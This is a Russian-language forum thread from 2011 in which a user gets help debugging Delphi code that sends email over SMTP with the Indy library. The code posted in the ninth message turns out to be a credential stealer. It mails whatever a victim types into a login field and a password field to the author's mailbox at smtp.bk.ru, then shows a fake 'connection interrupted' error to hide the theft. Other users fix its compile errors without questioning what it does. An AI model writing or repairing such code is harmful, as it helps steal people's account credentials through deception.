[Delphi] Вопрос по коду

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by DmitryG, 20 Jan 2011.

  1. DmitryG

    DmitryG New Member

    Joined:
    7 Jan 2011
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    Ребят подскажите пожалуйста, что это такое.
    Пишу прогу для отправки данных на почту.
    ....
    except on E:Exception do
    begin
    MeMailStats.Lines.Insert(0,Статус отправки: ERROR - '+E.Message);
    ShowMessage('Письмо не отправлено');
    end;
    end;
    finally
    SMTP.Disconnect; /
    end;
    end;


    Ошибка [Error] Unit1.pas(80): Undeclared identifier: 'MeMailStats'

    помогите решить
     
  2. 1n0y

    1n0y Active Member

    Joined:
    9 May 2009
    Messages:
    276
    Likes Received:
    282
    Reputations:
    2
    мемо точно называется MeMailStats? если да - попробуй form1.MeMailStats.Lines.Insert(0,Статус отправки: ERROR - '+E.Message);
     
  3. DmitryG

    DmitryG New Member

    Joined:
    7 Jan 2011
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0

    как вообще можно убрать эту проверку и закончить программу?
     
  4. 1n0y

    1n0y Active Member

    Joined:
    9 May 2009
    Messages:
    276
    Likes Received:
    282
    Reputations:
    2
    исправь ошибку, и всё станет чудесно.
     
  5. DmitryG

    DmitryG New Member

    Joined:
    7 Jan 2011
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    пробовал сделать вот так

    SMTP.Connect;
    SMTP.Send(IdMessage1);
    ShowMessage('Письмо отправлено!');
    except on E:Exception do
    SMTP.Disconnect;
    end;
    end;


    показывает ошибку
    [Error] Unit1.pas(79): EXCEPT or FINALLY expected


    в иделе не хочу чтобы эта проверка вообще была
     
  6. 1n0y

    1n0y Active Member

    Joined:
    9 May 2009
    Messages:
    276
    Likes Received:
    282
    Reputations:
    2
    убери:

    и два try, которые идут где-то выше
     
  7. DmitryG

    DmitryG New Member

    Joined:
    7 Jan 2011
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    все сделал, теперь ошибка

    [Warning] Unit1.pas(62): Variable 'SMTP' might not have been initialized


    var
    SMTP:TIdSMTP;

    ......
    SMTP.Connect; // соединение с почтовым сервером
    SMTP.Send(IdMessage1);
    ShowMessage('Письмо отправлено!');
    SMTP.Disconnect; // разрыв соединения
    end;


    в чем проблема?
     
  8. HakaR

    HakaR Active Member

    Joined:
    23 Jul 2009
    Messages:
    301
    Likes Received:
    200
    Reputations:
    3
    Code:
    SMTP := TIdSMTP.Create(nil);
    Компилятор же ясно написал, обращение к неинициализированной переменной.

    Ты ведь не можешь попить кофе, пока его не приготовишь.
    Ну вот тут так же, не создал объект - не сможешь его использовать.
    :eek: лол, надо идти спать...
     
    #8 HakaR, 21 Jan 2011
    Last edited: 21 Jan 2011
  9. DmitryG

    DmitryG New Member

    Joined:
    7 Jan 2011
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    var
    SMTP:TIdSMTP;

    begin
    SMTP.Host:='smtp.bk.ru';
    SMTP.Port:=25;
    //
    SMTP.AuthenticationType:=atLogin;
    SMTP.Username:='bLabLabLa';
    SMTP.Password:='bLabLabLa';
    //
    IdMessage1.Recipients.EMailAddresses := 'bLabLabLa ';
    IdMessage1.From.Text := 'bLabLabLa';
    IdMessage1.Subject := 'тест!';
    IdMessage1.Body.Text := 'login:'+edit1.Text+ ' ' +'Password:' + maskedit1.Text;
    SMTP.Connect;
    SMTP.Send(IdMessage1);
    ShowMessage('Соединение с интернетом прервано, проверьте правильность настроек!');
    SMTP.Disconnect;
    end;
    end;


    куда вставить? голова уже кипит
     
    #9 DmitryG, 23 Jan 2011
    Last edited: 23 Jan 2011
  10. HakaR

    HakaR Active Member

    Joined:
    23 Jul 2009
    Messages:
    301
    Likes Received:
    200
    Reputations:
    3
    Сразу после begin
    Code:
    var
    SMTP:TIdSMTP;
    begin
    [B]SMTP := TIdSMTP.Create(nil);[/B]
    SMTP.Host:='smtp.bk.ru'; 
    SMTP.Port:=25;
    ...
    
     
  11. DmitryG

    DmitryG New Member

    Joined:
    7 Jan 2011
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    все сделал и вышла ошибка

    Project1.exe raised exceprion class EIDProtocolReplyError with message 'Incorrect authentification data'